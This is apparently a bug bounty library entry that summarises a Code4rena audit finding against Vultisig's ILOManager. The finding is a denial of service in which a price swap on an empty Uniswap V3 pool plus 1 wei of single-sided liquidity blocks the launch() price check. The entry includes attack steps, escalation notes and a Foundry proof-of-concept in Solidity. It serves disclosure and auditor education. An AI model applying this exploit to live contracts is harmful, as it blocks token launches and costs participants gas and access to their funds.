# Adversary can prevent the launch of any ILO pool with enough raised capital at any moment by providing single-sided liquidity

Attacker manipulates empty Uniswap V3 pool price then mints single-sided liquidity, blocking ILOManager.launch's sqrtPriceX96 check and DoSing any ILO pool launch.

- Payout: Audit contest
- Severity: high
- Program: Vultisig
- Found by: juancito
- Disclosed: 2024-08-05
- Write-up quality: 8/10
- Original: https://github.com/code-423n4/2024-06-vultisig-findings/issues/41
- Library page: https://bugbountylibrary.com/r/c4%3A2024-06-vultisig%3AH-03
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:dos vuln:oracle-manipulation

**Target:** ILOManager.launch / Uniswap V3 pool slot0 price check
**Root cause:** launch() requires slot0 sqrtPriceX96 to equal the cached initial price, but an empty Uniswap V3 pool price is trivially manipulable via swap, and single-sided liquidity minted above the manipulated price forces any corrective swap to require SALE_TOKEN that is unavailable pre-launch.
**Steps:**
1. Init ILO pool so Uniswap V3 pool has no liquidity and slot0 equals initialPoolPriceX96.
2. Call `IUniswapV3Pool(projectId).swap(address(this), true, 1, MIN_SQRT_RATIO, "")` to push price to MIN_SQRT_RATIO at negligible cost.
3. Mint single-sided RAISE_TOKEN liquidity at ticks above manipulated price but below initial price: `pool.mint(address(this), OUTSIDE_TICK-10, OUTSIDE_TICK+10, 1, "")` with 1 wei USDC.
4. Any mitigation swap back to initialPrice now requires SALE_TOKEN (uniswapV3SwapCallback demands amount1=1), which is locked in the ILO pool.
5. After launchTime, `iloManager.launch(projectId)` reverts with `UV3P` because slot0 != initialPoolPriceX96.
**How found:** Read launch()'s strict equality check on slot0 sqrtPriceX96 against cached initial price, recognized Uniswap V3 price is manipulable when pool has no liquidity, then reasoned that single-sided liquidity minting above the manipulated price forces corrective swaps to source SALE_TOKEN unavailable before launch.
**Exploitation:** Attacker waits until the ILO raises its target capital, then swaps the empty Uniswap V3 pool to an extreme price and mints 1 wei single-sided liquidity in a tick range between manipulated and initial price. The launch check fails permanently; participants must claimRefund and lose gas, and the token launch is blocked.
**Escalation:** Attacker can mint larger single-sided liquidity to outscale any SALE_TOKEN the admin holds, making rollback arbitrarily expensive; can repeat at any moment including end of sale.
**Insight:** When a contract asserts an AMM spot price equals a stored value, check whether the pool is empty at that moment and whether an attacker can mint liquidity that makes the corrective swap require the scarce/illiquid side of the pair.

## Proof of concept (copied exactly from the original report)

**Foundry test manipulating Uniswap price to block launch**

```
function testManipulatePriceForLaunch() external {
    IILOManager.InitPoolParams memory params = _getInitPoolParams();
    _initPool(PROJECT_OWNER, params);

    assertEq(IUniswapV3Pool(projectId).token0(), USDC);
    assertEq(IUniswapV3Pool(projectId).token1(), SALE_TOKEN);

    vm.label(USDC, "USDC");
    vm.label(SALE_TOKEN, "SALE_TOKEN");
    vm.label(projectId, "UNI_V3_POOL");
    vm.label(address(this), "ATTACKER");

    unsuccessfulPriceManipulation();

    priceManipulationAttack();

    vm.warp(LAUNCH_START+1);
    vm.expectRevert(bytes("UV3P"));
    iloManager.launch(projectId);
}
```

**Swap to manipulate price then mint single-sided liquidity**

```
function priceManipulationAttack() internal {
    uint160 initialPrice = mockProject().initialPoolPriceX96;
    uint160 MIN_SQRT_RATIO = 4295128739 + 1;

    // Check price before attack
    (uint160 sqrtPriceX96, , , , , , ) = IUniswapV3Pool(projectId).slot0();
    assertEq(uint256(sqrtPriceX96), initialPrice);

    // Attack -> Swap to manipulate price
    IUniswapV3Pool(projectId).swap(address(this), true, 1, MIN_SQRT_RATIO, "");
    (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(projectId).slot0();
    assertEq(uint256(sqrtPriceX96), MIN_SQRT_RATIO);

    // Attack -> Mint to prevent swapping back
    console.log("\n<<Minting Attack>>");
    deal(USDC, address(this), 1);
    int24 OUTSIDE_TICK = 0;
    IUniswapV3Pool(projectId).mint(address(this), OUTSIDE_TICK-10, OUTSIDE_TICK+10, 1, "");

    // Mitigation doesn't work now
    // You can uncomment the `expectRevert` and run the test with `-vvvv`
    // You'll see the log `ATTACKER::uniswapV3SwapCallback(0, 1, 0x)`, which means that it expects 1 wei of SALE_TOKEN
    // This is not possible as all SALE_TOKENs should be in the ILOPool at this moment
    console.log("\n<<Failed mitigation attempt>>");
    vm.expectRevert(bytes("IIA"));
    IUniswapV3Pool(projectId).swap(address(this), false, 1, initialPrice, "");

    // The price will remain the one set by the attacker
    (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(projectId).slot0();
    assertEq(uint256(sqrtPriceX96), MIN_SQRT_RATIO);
}
```

